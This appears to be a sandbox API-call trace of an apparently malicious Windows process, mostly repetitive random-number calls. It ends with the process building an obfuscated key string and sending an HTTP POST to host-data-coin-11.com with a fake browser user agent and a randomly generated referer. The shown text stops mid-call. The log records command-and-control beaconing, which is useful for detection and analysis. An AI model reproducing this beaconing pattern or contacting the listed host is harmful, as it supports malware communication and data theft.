RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4a63493 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf689970a [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdd916e16 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5b39f911 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x57da39e0 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbc4b8816 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc303c0af [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe674142c [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x10192953 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaeff9a61 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xae5a08c4 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4b8326f3 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbdf990e9 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x411c95c5 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x58ee9612 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4180e33b [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe3a068cc [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x417100ce [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd5e4389c [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcd2b4444 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x781ee7ef [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba4525d7 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe2d32383 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x20a26ec2 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf91a98d8 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1e18499e [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdae347ac [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd8ad6cdb [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb9e888ef [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5f958936 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4fdb096a [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe3021080 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8bddfc01 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x82e8b5e6 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3e5266ad [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x850b0f2b [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe0fd3849 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x37bdd21d [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3e239c3c [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x77df4de6 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfb285542 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8e355aee [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x53fa8253 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd448c5f5 [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbfdbfeea [0130.225] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd888480f [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa7d05d1a [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x710ef26b [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5b1a5642 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc50b7af0 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2c882369 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfbdc3abf [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9d744cc [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6113c43 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3d4d0fd0 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9136087b [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa2165f5b [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe8660620 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4388a5ca [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x867ac305 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x83ff2fb7 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5b98f676 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf2b1ec49 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa58431f1 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdc2b19a7 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x27dad45f [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdb220f2c [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbfd116b0 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe9473d29 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x99150169 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xca1894 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x74639303 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9b782274 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdad4ed73 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85c4a2eb [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x81f5931b [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x56528618 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2d2882a0 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x798fba59 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2ab0557 [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbb8a8f3c [0130.226] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf13b7beb [0130.227] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7fc30207 [0130.227] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6e60d70 [0130.230] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe0853638 [0130.230] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4bc9d9e6 [0130.230] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6a367553 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9f213b9 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x11339f47 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4b6755bf [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa0a3ef03 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaa558380 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4961b5d8 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8f0a7ba1 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6b0b4f3e [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7c083f7e [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2e3df506 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x55ae50fc [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb368e7c7 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9dfd6f66 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x79e418b5 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfb3e045 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2f659efa [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x78e0b882 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa733c859 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd5fcdb6d [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9da88517 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbe5aed07 [0130.231] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x31f64a44 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe83d618 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x54b47b6 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4dbe4b28 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1289db22 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcfbbd63b [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x12916069 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x20ffcd95 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x64e7a86c [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfc5e9ce8 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdb26a3da [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x199c167d [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x635add07 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb77a1dca [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xadc54d19 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x126e5616 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6f16a38e [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xacdc1b4a [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x80eab12a [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9f9b334 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x35d40d11 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xecb2d88 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb2589c80 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xff482c33 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2218e45a [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa0f0e156 [0130.232] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x963a76f3 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa882cd04 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x53305b2c [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb006c258 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc208ca5b [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x680f72a1 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe44a7680 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xee0a2a0f [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcaef20cc [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1239f632 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x97838c86 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbe4a1761 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xabb826 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x632c83c2 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x401d793d [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa73ea462 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa359098c [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb7175911 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x40bee172 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8a6573d1 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd6f23704 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9e645e1c [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x66642ebd [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8632530a [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc241d306 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcbf03814 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf232a762 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3e333c64 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x73dcafe5 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9cd9e3c4 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4fd97f96 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85c6042e [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf5a43e86 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7b52a8af [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3d36fc14 [0130.233] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6a9d0b39 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfa1b2735 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd4c44530 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbf42a133 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x163f5804 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x363eafde [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf238f057 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x91cb8f31 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1964d [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5b3ee8f3 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2fffd972 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x873b094b [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb8403742 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6e9bc721 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbc16e4e8 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85010405 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc2d66df4 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba9e894a [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2718c3cb [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x10fec552 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x62c466d5 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x80c5f3a1 [0130.234] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf2759219 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf22c060 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa004bc9c [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x230aebc7 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2a46268e [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x96ad18d3 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4a335755 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3f819dc5 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x995613d8 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf14d53c9 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfbd0e21e [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x611fffef [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1f4ffc8 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1bd17114 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc32431f [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x22ba212e [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x95d5176f [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x89e3b837 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe240655 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x62ceb0b4 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa9849b09 [0130.235] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdbb967d6 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdca8cf81 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x19340eb0 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3982f504 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5629142a [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb06ae47b [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x83e3b9a3 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe447546f [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9584b88 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6ab88389 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa5022db1 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5390d861 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf4a59568 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x95f0ad91 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xce1ad0f2 [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa61dd0c [0130.236] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbef7f2fd [0130.236] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x166) returned 0x471990 [0130.236] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0130.236] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0130.236] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0130.236] lstrcatA (in: lpString1="", lpString2=",vsh]b\\,M40&uM;;$2n*ao*mO:S0DoF&4/>SWGWDx$3[![h(TB=%s[T6[R/hM?DN[Zmlv-!r\"U8n&f-=^vk&SP6tw]>XQ.@1AoNbjRX%iP%E=c8)\\F1y#GosoF4J7keL-;k0pe&#Y1f33bw;xetq5nUwu_Q41o'58i\"*!pio:N`.otW2+Vw],WHH&sy>U$5$\\N#P7+2]\")HrUL]5i)YxIGplU5pm;" | out: lpString1=",vsh]b\\,M40&uM;;$2n*ao*mO:S0DoF&4/>SWGWDx$3[![h(TB=%s[T6[R/hM?DN[Zmlv-!r\"U8n&f-=^vk&SP6tw]>XQ.@1AoNbjRX%iP%E=c8)\\F1y#GosoF4J7keL-;k0pe&#Y1f33bw;xetq5nUwu_Q41o'58i\"*!pio:N`.otW2+Vw],WHH&sy>U$5$\\N#P7+2]\")HrUL]5i)YxIGplU5pm;") returned=",vsh]b\\,M40&uM;;$2n*ao*mO:S0DoF&4/>SWGWDx$3[![h(TB=%s[T6[R/hM?DN[Zmlv-!r\"U8n&f-=^vk&SP6tw]>XQ.@1AoNbjRX%iP%E=c8)\\F1y#GosoF4J7keL-;k0pe&#Y1f33bw;xetq5nUwu_Q41o'58i\"*!pio:N`.otW2+Vw],WHH&sy>U$5$\\N#P7+2]\")HrUL]5i)YxIGplU5pm;" [0130.236] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471b00 [0130.236] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0130.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471b00, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0130.236] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0130.265] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8620320 [0130.280] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0130.280] WinHttpConnect (hSession=0x8620320, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x4a91960 [0130.280] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471c20 [0130.280] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x471c40 [0130.280] WinHttpOpenRequest (hConnect=0x4a91960, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x833ac20 [0130.280] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471cb0 [0130.281] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471d10 [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85b5d219 [0130.281] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471e30 [0130.281] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471e50 [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba01888b [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6b179da [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9c001467 [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x815e9d2f [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x25889a63 [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe55f74b5 [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf8bf733e [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd7bd5b91 [0130.281] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd0c79d3f [0130.281] wsprintfW (in: param_1=0x471d10, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://mtmllvkw.com/") returned 42 [0130.281] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471e50) returned 0x17 [0130.281] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471e50) returned 1 [0130.281] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471e30) returned 0x12 [0130.281] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471e30) returned 1 [0130.281] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471cb0) returned 0x4e [0130.282] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471cb0) returned 1 [0130.282] WinHttpAddRequestHeaders (hRequest=0x833ac20, pwszHeaders="Accept: */*\r\nReferer: http://mtmllvkw.com/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0130.282] WinHttpSendRequest (hRequest=0x833ac20, lpszHeaders="Content-Type: application/x-www-form-urlencoded", 